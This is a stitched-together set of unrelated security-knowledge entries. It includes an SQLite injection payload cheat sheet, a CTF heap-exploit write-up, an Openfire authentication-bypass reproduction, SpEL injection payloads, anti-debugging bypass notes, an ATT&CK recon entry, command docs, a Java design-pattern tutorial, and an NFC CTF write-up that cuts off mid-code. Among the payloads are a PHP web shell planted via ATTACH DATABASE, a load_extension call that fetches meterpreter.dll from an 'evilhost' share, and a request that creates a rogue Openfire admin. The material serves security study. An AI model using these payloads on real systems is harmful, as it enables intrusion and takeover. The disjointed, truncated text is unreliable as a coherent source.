replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' ``` ## Boolean - Count number of tables ```sql and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table ``` ## Boolean - Enumerating table name ```sql and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number ``` ## Boolean - Extract info ```sql and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char') ``` ## Boolean - Extract info (order by) ```sql CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END ``` ## Boolean - Error based ```sql AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END ``` ## Time based ```sql AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ``` ## Remote Command Execution using SQLite command - Attach Database ```sql ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");-- ``` ## Remote Command Execution using SQLite command - Load_extension ```sql UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- ``` Note: By default this component is disabled ## References [Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf) [SQLite Error Based Injection for Enumeration](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/)
sec-knowleage
# Exploitation > This binary is running on pwn.rhme.riscure.com. Analyze it and find a way to compromise the server. > You’ll find the flag in the filesystem. In this task we were given two files, the server binary and libc installed on their system. The binary was listening on port 1337 and allowing a simple team creation when connected to. Example session: ``` Welcome to your TeamManager (TM)! 0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice: 1 Found free slot: 0 Enter player name: akrasuski1 Enter attack points: 99 Enter defense points: 99 Enter speed: 99 Enter precision: 99 0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice: 3 Enter index: 0 Player selected! Name: akrasuski1 A/D/S/P: 99,99,99,99 0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice: 4 0.- Go back 1.- Edit name 2.- Set attack points 3.- Set defense points 4.- Set speed 5.- Set precision Your choice: 1 Enter new name: welp ``` The bug in the implementation was that when you selected a player and then removed him, you were still able to modify his details, such as changing his name. By carefully selecting name lengths to allocate specific amounts of memory, we were able to make deleted, but still selected, player's name pointer controlled - in my case, I pointed it to GOT's `free` entry. Then I sent the 'change name' command, allowing to overwrite free pointer with a `system` pointer (offsets between these dumped from supplied libc). The rest was simple - free another player's name, whose name was actually a bash command. Listing the directory showed us flag file immediately. -- akrasuski1
sec-knowleage
### Airdrop Hunting原理 薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。其中首个自动化薅羊毛攻击出现在 [Simoleon](https://paper.seebug.org/646/) 上。
sec-knowleage
exportfs === 管理NFS共享文件系统列表 ## 补充说明 exportfs 命令用来管理当前NFS共享的文件系统列表。 参数: ```shell -a 打开或取消所有目录共享。 -o options,...指定一列共享选项,与 exports(5) 中讲到的类似。 -i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。 -r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。 -u 取消一个或多个目录的共享。 -f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。 -v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。 ```
sec-knowleage
# Openfire管理后台认证绕过漏洞(CVE-2023-32315) Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器。 在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。 参考文档: - <https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm> - <https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w> ## 漏洞环境 执行如下命令启动一个4.7.4版本的Openfire: ``` docker compose up -d ``` 服务器启动后,访问`http://your-ip:9090`你将会被强制跳转到登录页面。 ## 漏洞复现 十多年前,Openfire管理后台中曾被发现一处路径穿越漏洞,CVE-2008-6508。攻击者可以利用`/setup/setup-/../../[page].jsp`来绕过权限校验并访问任意后台页面。 从那以后,Openfire增加了对于路径穿越问题的防护策略,用以抵御这个漏洞。但是因为后来内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,而前面的防护策略并没有考虑到这一点。 这样也导致我们可以使用UTF-16字符来绕过路径穿越的防护,再次复活路径穿越漏洞,`/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp`。 我们可以发送如下数据包,利用该路径穿越漏洞创建一个新的管理员: ``` GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1 Host: localhost:9090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: csrf=csrftoken ``` 虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为`hackme`: ![](1.png) 之后我们便可以使用这个账号登录管理后台: ![](2.png)
sec-knowleage
# T1592-002-收集目标组织主机信息-软件信息 ## 来自ATT&CK的描述 攻击者可能会事先收集攻击目标的主机软件信息,可能包括各种细节信息如主机上的软件类型和版本,是否有防御软件(如防病毒、SIEM组件)等。 软件信息可能是攻击者通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)(例如监听端口,服务器banner,用户代理字符串),[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598),或攻击网站后使用恶意软件等方式主动收集的(引自:ATT ScanBox),也可能是通过在线或其他可访问的数据集(例如职位发布,网络地图,评估报告,简历或购买发票)暴露给攻击者的。收集这些信息可能会触发其他形式的侦察行动(例如:[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)或者[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596))),从而建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[供应链攻陷](https://contribute.knowledge.qihoo.net/detail/technique/T1195)或[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133))。 ## 测试案例 指纹识别:在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。 在线指纹识别网站: TSscan: <https://scan.top15.cn/web/> BugScaner: <http://whatweb.bugscaner.com/look/> 云悉指纹: <http://www.yunsee.cn/finger.html> WhatWeb: <http://whatweb.bugscaner.com/look/> 常见的网站指纹识别工具有:whatweb,wappalyzer火狐插件等。 ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1592-001-收集目标组织主机信息-硬件信息]] [[T1592-004-收集目标组织主机信息-客户端配置]] [[T1592-003-收集目标组织主机信息-固件信息]] ## 参考推荐 MITRE-ATT&CK-T1592-002 <https://attack.mitre.org/techniques/T1592/002/> 指纹识别大全 <https://www.bilibili.com/read/cv9136494/>
sec-knowleage
# Hello-Java-Sec 学习 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- - 项目地址 : https://github.com/j3ers3/Hello-Java-Sec --- ## 部署 配置数据库连接 application.properties ``` spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test spring.datasource.username=root spring.datasource.password=1234567 ``` 编译并运行 ``` git clone https://github.com/j3ers3/Hello-Java-Sec cd Hello-Java-Sec mvn clean package -DskipTests java -jar target/hello-1.0.2.jar ``` 访问测试 - http://127.0.0.1:8888 输入账号密码 admin/admin 记得在数据库中导入 db.sql --- ## 代码分析与漏洞利用的学习 ### SpEL 表达式注入 **描述** SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。 **利用原理** - [SpEL注入](./SpEL注入.md) **示例代码** ```java @GetMapping("/vul") public String spelVul(String ex) { ExpressionParser parser = new SpelExpressionParser(); String result = parser.parseExpression(ex).getValue().toString(); System.out.println(result); return result; } ``` **攻击 payload** ```bash # 算数运算 # http://127.0.0.1:8888/SPEL/vul?ex=100*2 # 对象实例化 # http://127.0.0.1:8888/SPEL/vul?ex=new%20java.util.Date().getTime() # 执行命令 # T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22) ``` **编码建议** web view 层通常通过模板技术或者表达式引擎来实现界面与业务数据分离,比如 jsp 中的 EL 表达式。这些引擎通常可执行敏感操作,如果外部不可信数据未经过滤拼接到表达式中进行解析,则可能造成严重漏洞。 应避免外部输入的内容拼接到 EL 表达式或其他表达式引起、模板引擎进行解析。 白名单过滤外部输入,仅允许字符、数字、下划线等。
sec-knowleage
# CheckRemoteDebuggerPresent ## 关于CheckRemoteDebuggerPresent `kernel32`的`CheckRemoteDebuggerPresent()`函数用于检测指定进程是否正在被调试. `Remote`在单词里是指同一个机器中的不同进程. ``` c BOOL WINAPI CheckRemoteDebuggerPresent( _In_ HANDLE hProcess, _Inout_ PBOOL pbDebuggerPresent ); ``` 如果调试器存在(通常是检测自己是否正在被调试), 该函数会将`pbDebuggerPresent`指向的值设为`0xffffffff`. ## 检测代码 可以用以下32位代码检测32位环境 ``` asm push eax push esp push -1 ;GetCurrentProcess() call CheckRemoteDebuggerPresent pop eax test eax, eax jne being_debugged ``` 或64位代码检测64位环境 ``` asm enter 20h, 0 mov edx, ebp or rcx, -1 ;GetCurrentProcess() call CheckRemoteDebuggerPresent leave test ebp, ebp jne being_debugged ``` ## 如何绕过 比如有如下的代码 ``` c++ int main(int argc, char *argv[]) { BOOL isDebuggerPresent = FALSE; if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent )) { if (isDebuggerPresent ) { std::cout << "Stop debugging program!" << std::endl; exit(-1); } } return 0; } ``` 我们可以直接修改`isDebuggerPresent`的值或修改跳转条件来绕过(注意不是`CheckRemoteDebuggerPresent`的izhi, 它的返回值是用于表示函数是否正确执行). 但如果要针对`CheckRemoteDebuggerPresent`这个api函数进行修改的话. 首先要知道`CheckRemoteDebuggerPresent`内部其实是通过调用`NtQueryInformationProcess`来完成功能的. 而我们就需要对`NtQueryInformationProcess`的返回值进行修改. 我们将在[ NtQueryInformationProcess 篇](./ntqueryinformationprocess.md)进行介绍.
sec-knowleage
# 安全产品杂记 记载一些有趣的安全产品。 - Silo for Research (Toolbox),Authentic8,https://www.authentic8.com/products/silo-for-research/ - 一种安全、匿名的网页浏览解决方案,允许用户在开放、深度和黑暗的网页上进行研究、收集证据和分析数据 - > ***完全隔离:****所有的网络代码都是在Silo服务器上执行的,而不是终端用户设备* > > ***基于云:****每次创建干净实例的转键、云托管解决方案* > > ***管理属性:****配置浏览器指纹和出口位置* > > ***访问打开、深或暗的网:****单击访问任何目的地而不会污染环境* > > ***加强工作流程:****内容获取、分析和存储的综合工具* > > ***全面审计监督:****所有web活动的加密审计日志在一个地方捕获并易于导出*
sec-knowleage
### Android 关键代码定位 AndroidManifest.xml文件 - 软件包名 - apk主活动,隐藏程序没有主Activity Application在 java层启动最早, ### Android 关键代码定位顺序分析 最常见也是最有用的方法就是,我们顺着程序的逻辑依次查看程序的代码来进行分析,但是当程序代码量特别大时候,这一方法的效率就比较低下,需要其他方法来辅助。 ### Android 关键代码定位字符串定位法 所谓字符串定位法就是通过在程序程序运行过程中出现的字符串来定位相应的函数。字符串有可能被直接硬编码在程序中,也有可能通过字符串id来索引。这一方法故去使用比较方便,但现在的话,有可能字符串会被分开或者说首先被加密,在运行的过程中被动态解密。 我们可能关注的字符串可能有 - 程序报错信息 - 服务 - 广播 ### Android 关键代码定位敏感API定位方式 所谓敏感API定位法,意思就是我们根据程序的执行行为来判断程序可能调用了哪些函数。这一方法需要我们对于Android中的API比较熟悉。一般来说,我们可能会关注以下方面 - 控件的事件函数 - onclick - show - Toast - 网络函数 - HttpGet - HttpPost - HttpUriRequest - socket - 发送短信 - 打电话 - 定位 - 等等 ### Android 关键代码定位log信息方式 所谓log信息就是Android程序在运行时输出的字符串信息,这部分信息不会在我们的界面上体现,因而我们需要使用其它辅助工具来分析,比如说,我们可以使用ddms来辅助分析。对于log信息来说,我们可以从两个方面考虑 - 利用程序本身产生的log信息 - 自己对代码反编译,插入log信息,并重打包来进行分析。 ### Android 关键代码定位栈跟踪方式 我们可以用ddms提供的方法调用链的信息来判断程序目前的调用关系如何。
sec-knowleage
from library import * import sys # python collect_same.py traces.npz 10 0x41 n = int(sys.argv[2]) inputs = np.full((n, 16), int(sys.argv[3], 0), dtype=np.uint8) collect(sys.argv[1], inputs)
sec-knowleage
## 访问者(Visitor) ### Intent 为一个对象结构(比如组合结构)增加新能力。 ### Class Diagram - Visitor:访问者,为每一个 ConcreteElement 声明一个 visit 操作 - ConcreteVisitor:具体访问者,存储遍历过程中的累计结果 - ObjectStructure:对象结构,可以是组合结构,或者是一个集合。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79c6f036-bde6-4393-85a3-ef36a0327bd2.png"/> </div><br> ### Implementation ```java public interface Element { void accept(Visitor visitor); } ``` ```java class CustomerGroup { private List<Customer> customers = new ArrayList<>(); void accept(Visitor visitor) { for (Customer customer : customers) { customer.accept(visitor); } } void addCustomer(Customer customer) { customers.add(customer); } } ``` ```java public class Customer implements Element { private String name; private List<Order> orders = new ArrayList<>(); Customer(String name) { this.name = name; } String getName() { return name; } void addOrder(Order order) { orders.add(order); } public void accept(Visitor visitor) { visitor.visit(this); for (Order order : orders) { order.accept(visitor); } } } ``` ```java public class Order implements Element { private String name; private List<Item> items = new ArrayList(); Order(String name) { this.name = name; } Order(String name, String itemName) { this.name = name; this.addItem(new Item(itemName)); } String getName() { return name; } void addItem(Item item) { items.add(item); } public void accept(Visitor visitor) { visitor.visit(this); for (Item item : items) { item.accept(visitor); } } } ``` ```java public class Item implements Element { private String name; Item(String name) { this.name = name; } String getName() { return name; } public void accept(Visitor visitor) { visitor.visit(this); } } ``` ```java public interface Visitor { void visit(Customer customer); void visit(Order order); void visit(Item item); } ``` ```java public class GeneralReport implements Visitor { private int customersNo; private int ordersNo; private int itemsNo; public void visit(Customer customer) { System.out.println(customer.getName()); customersNo++; } public void visit(Order order) { System.out.println(order.getName()); ordersNo++; } public void visit(Item item) { System.out.println(item.getName()); itemsNo++; } public void displayResults() { System.out.println("Number of customers: " + customersNo); System.out.println("Number of orders: " + ordersNo); System.out.println("Number of items: " + itemsNo); } } ``` ```java public class Client { public static void main(String[] args) { Customer customer1 = new Customer("customer1"); customer1.addOrder(new Order("order1", "item1")); customer1.addOrder(new Order("order2", "item1")); customer1.addOrder(new Order("order3", "item1")); Order order = new Order("order_a"); order.addItem(new Item("item_a1")); order.addItem(new Item("item_a2")); order.addItem(new Item("item_a3")); Customer customer2 = new Customer("customer2"); customer2.addOrder(order); CustomerGroup customers = new CustomerGroup(); customers.addCustomer(customer1); customers.addCustomer(customer2); GeneralReport visitor = new GeneralReport(); customers.accept(visitor); visitor.displayResults(); } } ``` ```html customer1 order1 item1 order2 item1 order3 item1 customer2 order_a item_a1 item_a2 item_a3 Number of customers: 2 Number of orders: 4 Number of items: 6 ``` ### JDK - javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor - javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
sec-knowleage
# NFC Category: Reversing, 200 points ## Description > Our target adopted a new way to keep sensitive information! They use secure NFC tags to keep secure and confidential information inside them. > > We managed to place a strong NFC reader near our target’s secret NFC tag. Now we want to communicate with the that tag and extract the secret information from it. > > In order to connect to our reader and send commands to the tag, you just need to open a TCP socket to: > > nfc.shieldchallenges.com 80 > > Each message you send on this socket will be transferred to the NFC tag, and the response from the tag will be sent back to you on that same socket. > > In addition, our sources equipped us with some information that may help you to communicate with the tag and extract the secret information from it: > > 1. A secret document from our target (attached). > > 2. An authentic message sent to the NFC tag. Due to a low signal, we managed to extract only 5 bytes from the message. The message is presented below (X stands for an unknown nibble). > > 1BXXXXBEAF4930 > > 3. The secret information you need to extract is located somewhere in the memory space of the tag, and its size is 16 characters. > > Good luck! We trust you! A [PDF File](nfc_specification_details.pdf) titled "Security NFC Tag Specification" was attached. ## Solution: We'll start with what we think is the intended solution, then summarize what we did during the CTF. ### Intended Solution(?) The spec gives us a new command which can be run without authentication: ![](images/nfc4.png) This command returns the value of `CFG0` and `CFG1`, which are the first two DWORDs in the configuration pages range (Page addresses `0x29`, `0x2A`): ![](images/nfc3.png) They are interpreted as: ![](images/nfc5.png) Let's start by reading them: ```python from pwn import * import pydtn_pydtn_encoding_crc as crc # https://git.ifne.eu/space-public/pyDTN/-/blob/master/pydtn/pydtn/encoding/crc.py import ctypes import textwrap crc16_a = crc.CRC(16, 0x1021, 0x6363 , 0x0000, True, True) class Struct_Base(ctypes.LittleEndianStructure): INDENT = "|- " def __str__(self): res = self.__class__.__name__ + "\n" for field in self._fields_: field_name = field[0] field_type = field[1] if hasattr(field_type, '_fields_'): res += f"{self.INDENT}{field_name}: " + textwrap.indent(str(getattr(self, field_name)), " ").lstrip() else: res += f"{self.INDENT}{field_name}: {getattr(self, field_name)}\n" return res class NAK(Struct_Base): _pack_ = 1 _fields_ = [ ("value", ctypes.c_uint8, 4), ("reserved", ctypes.c_uint8, 4) ] _values = { 0x0: "Invalid Argument", 0x1: "CRC Error", 0x4: "Authentication count overflow", 0x5: "EEPROM write error", 0x6: "Unsupported command" } def __str__(self): return "NAK({})".format(self._values.get(self.value, f"Unknown value {self.value}")) class NFC_Base(Struct_Base): def is_checksum_valid(self): b = bytes(self)[:self.__class__.crc.offset] return (crc16_a(b) == self.crc) def update_checksum(self): b = bytes(self)[:self.__class__.crc.offset] self.crc = crc16_a(b) class GET_CFG_Request(NFC_Base): _pack_ = 1 _fields_ = [ ("cmd", ctypes.c_uint8), ("crc", ctypes.c_uint16) ] def __init__(self): self.cmd = 0x66 self.update_checksum() class CFG0_Mirror(Struct_Base): _pack_ = 1 _fields_ = [ ("RFUI1", ctypes.c_uint8, 2), ("STRG_MOD_EN", ctypes.c_uint8, 1), ("RFUI2", ctypes.c_uint8, 1), ("MIRROR_BYTE", ctypes.c_uint8, 2), ("MIRROR_CONF", ctypes.c_uint8, 2), ] class CFG0(Struct_Base): _pack_ = 1 _fields_ = [ ("MIRROR", CFG0_Mirror), ("RFUI1", ctypes.c_uint8), ("MIRROR_PAGE", ctypes.c_uint8), ("AUTH0", ctypes.c_uint8), ] class CFG1_Access(Struct_Base): _pack_ = 1 _fields_ = [ ("AUTHLIM", ctypes.c_uint8, 3), ("NFC_CNT_PWD_PROT", ctypes.c_uint8, 1), ("NFC_CNT_EN", ctypes.c_uint8, 1), ("RFUI1", ctypes.c_uint8, 1), ("CFGLCK", ctypes.c_uint8, 1), ("PROT", ctypes.c_uint8, 1), ] class CFG1(Struct_Base): _pack_ = 1 _fields_ = [ ("ACCESS", CFG1_Access), ("RFUI1", ctypes.c_uint8), ("RFUI2", ctypes.c_uint8), ("RFUI3", ctypes.c_uint8), ] class GET_CFG_Response(NFC_Base): _pack_ = 1 _fields_ = [ ("cfg0", CFG0), ("cfg1", CFG1), ("crc", ctypes.c_uint16) ] def get_cfg(r): cfg_req = GET_CFG_Request() r.send(bytes(cfg_req)) raw_response = r.recv(ctypes.sizeof(GET_CFG_Response)) response = GET_CFG_Response.from_buffer_copy(raw_response) if not response.is_checksum_valid(): raise Exception("Invalid CRC for GET_CFG response") return (response.cfg0, response.cfg1) if __name__ == "__main__": r = remote("nfc.shieldchallenges.com", 80) cfg0, cfg1 = get_cfg(r) print(cfg0) print(cfg1) ``` Output: ```console root@kali:/media/sf_CTFs/shabak/NFC# python3 solve.py [+] Opening connection to nfc.shieldchallenges.com on port 80: Done CFG0 |- MIRROR: CFG0_Mirror |- RFUI1: 0 |- STRG_MOD_EN: 1 |- RFUI2: 0 |- MIRROR_BYTE: 0 |- MIRROR_CONF: 0 |- RFUI1: 0 |- MIRROR_PAGE: 0 |- AUTH0: 36 CFG1 |- ACCESS: CFG1_Access |- AUTHLIM: 0 |- NFC_CNT_PWD_PROT: 0 |- NFC_CNT_EN: 0 |- RFUI1: 0 |- CFGLCK: 1 |- PROT: 1 |- RFUI1: 5 |- RFUI2: 0 |- RFUI3: 0 ``` From here we can learn a few things about the system: 1. `AUTH0: 36` 1. `AUTH0` defines the page address from which the password verification is required. 2. As we saw in the memory layout diagram, user memory is between pages 3 and 39. So, we should be able to read pages 4-36 without authentication. We should try that. 2. `CFGLCK: 1` 1. User configuration permanently locked against write access, except PWD and PACK 3. `PROT: 1` 1. Read and write access is protected by the password verification So, let's go ahead and try to read pages 4-36: ```python # ... class READ_Request(NFC_Base): _pack_ = 1 _fields_ = [ ("cmd", ctypes.c_uint8), ("addr", ctypes.c_uint8), ("crc", ctypes.c_uint16) ] def __init__(self, address): self.cmd = 0x30 self.addr = address self.update_checksum() class READ_Response(NFC_Base): _pack_ = 1 _fields_ = [ ("data", ctypes.c_uint8 * 16), ("crc", ctypes.c_uint16) ] # ... def read(r, address): read_req = READ_Request(address) r.send(bytes(read_req)) raw_response = r.recv(ctypes.sizeof(READ_Response)) if len(raw_response) == ctypes.sizeof(NAK): response = NAK.from_buffer_copy(raw_response) raise Exception(f"Got NAK while reading address {hex(address)}: {str(response)}") elif len(raw_response) == ctypes.sizeof(READ_Response): response = READ_Response.from_buffer_copy(raw_response) if not response.is_checksum_valid(): raise Exception("Invalid CRC for READ response") return bytes(response.data) raise Exception(f"Could not read data for address {hex(address)}") # ... if __name__ == "__main__": r = remote("nfc.shieldchallenges.com", 80) for page_address in range(0x4, 0x28): data = read(r, page_address) print(f"{page_address:02d}: {enhex(data)} -> {data}") ``` Output: ```console root@kali:/media/sf_CTFs/shabak/NFC# python3 solve.py [+] Opening connection to nfc.shieldchallenges.com on port 80: Done 04: 0103a00c340300fe0000000000000000 -> b'\x01\x03\xa0\x0c4\x03\x00\xfe\x00\x00\x00\x00\x00\x00\x00\x00' 05: 340300fe000000000000000000000000 -> b'4\x03\x00\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 06: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 07: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 08: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 09: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 10: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 11: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 12: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 13: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 14: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 15: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 16: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 17: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 18: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 19: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 20: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 21: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 22: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 23: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 24: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 25: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 26: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 27: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 28: 00000000000000000000000000000000 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 29: 00000000000000000000000000546865 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00The' 30: 00000000000000000054686520736563 -> b'\x00\x00\x00\x00\x00\x00\x00\x00\x00The sec' 31: 00000000005468652073656372657420 -> b'\x00\x00\x00\x00\x00The secret ' 32: 00546865207365637265742069733a20 -> b'\x00The secret is: ' 33: 207365637265742069733a2004ea6503 -> b' secret is: \x04\xeae\x03' 34: 7265742069733a2004ea6503122a6280 -> b'ret is: \x04\xeae\x03\x12*b\x80' 35: 69733a2004ea6503122a6280da480000 -> b'is: \x04\xeae\x03\x12*b\x80\xdaH\x00\x00' Traceback (most recent call last): File "solve.py", line 202, in <module> data = read(r, page_address) File "solve.py", line 181, in read raise Exception(f"Got NAK while reading address {hex(address)}: {str(response)}") Exception: Got NAK while reading address 0x24: NAK(Authentication count overflow) ``` We're almost there! We read a page from user memory stating that "The secret is" but we couldn't get to the secret itself. It must be located in the password protected area. But how will we know the password? This is where the partial command we've received comes in: `1BXXXXBEAF4930`. According to the spec, each command starts with a command code, and the original NFC spec lists all the supported commands: ![](images/nfc1.png) Note: To this list we need to add the new command detailed in the "Security NFC Tag Specification" spec we've received. We can see that the command that starts with `1B` is called `"PWD_AUTH"`, so let's check its details: > A protected memory area can be accessed only after a successful password verification using the PWD_AUTH command. The AUTH0 configuration byte defines the protected area. It specifies the first page that the password mechanism protects. The level of protection can be configured using the PROT bit either for write protection or read/write protection. The PWD_AUTH command takes the password as parameter and, if successful, returns the password authentication acknowledge, PACK. By setting the AUTHLIM configuration bits to a value larger than 000b, the number of unsuccessful password verifications can be limited. Each unsuccessful authentication is then counted in a counter featuring anti-tearing support. After reaching the limit of unsuccessful attempts, the memory access specified in PROT, is no longer possible. The PWD_AUTH command is shown in Figure 22 and Table 39. ![](images/nfc2.png) This is a password authentication command, and unfortunately the missing bytes are part of the password itself! Luckily, we have the CRC value and therefore can brute force the password by trying all options until we hit a valid CRC value. When we do, we try to login using this password in order to verify that we didn't get a CRC collision. ```python # ... class PWD_AUTH_Request(NFC_Base): _pack_ = 1 _fields_ = [ ("cmd", ctypes.c_uint8), ("pwd", ctypes.c_uint32), ("crc", ctypes.c_uint16) ] class PWD_AUTH_Response(NFC_Base): _pack_ = 1 _fields_ = [ ("pack", ctypes.c_uint16), ("crc", ctypes.c_uint16) ] # ... def login(r, pwd_auth_req): r.send(bytes(pwd_auth_req)) raw_response = r.recv(1024) if len(raw_response) == ctypes.sizeof(NAK): response = NAK.from_buffer_copy(raw_response) log.info(f"Received NAK: {str(response.value)}") return False elif len(raw_response) == ctypes.sizeof(PWD_AUTH_Response): response = 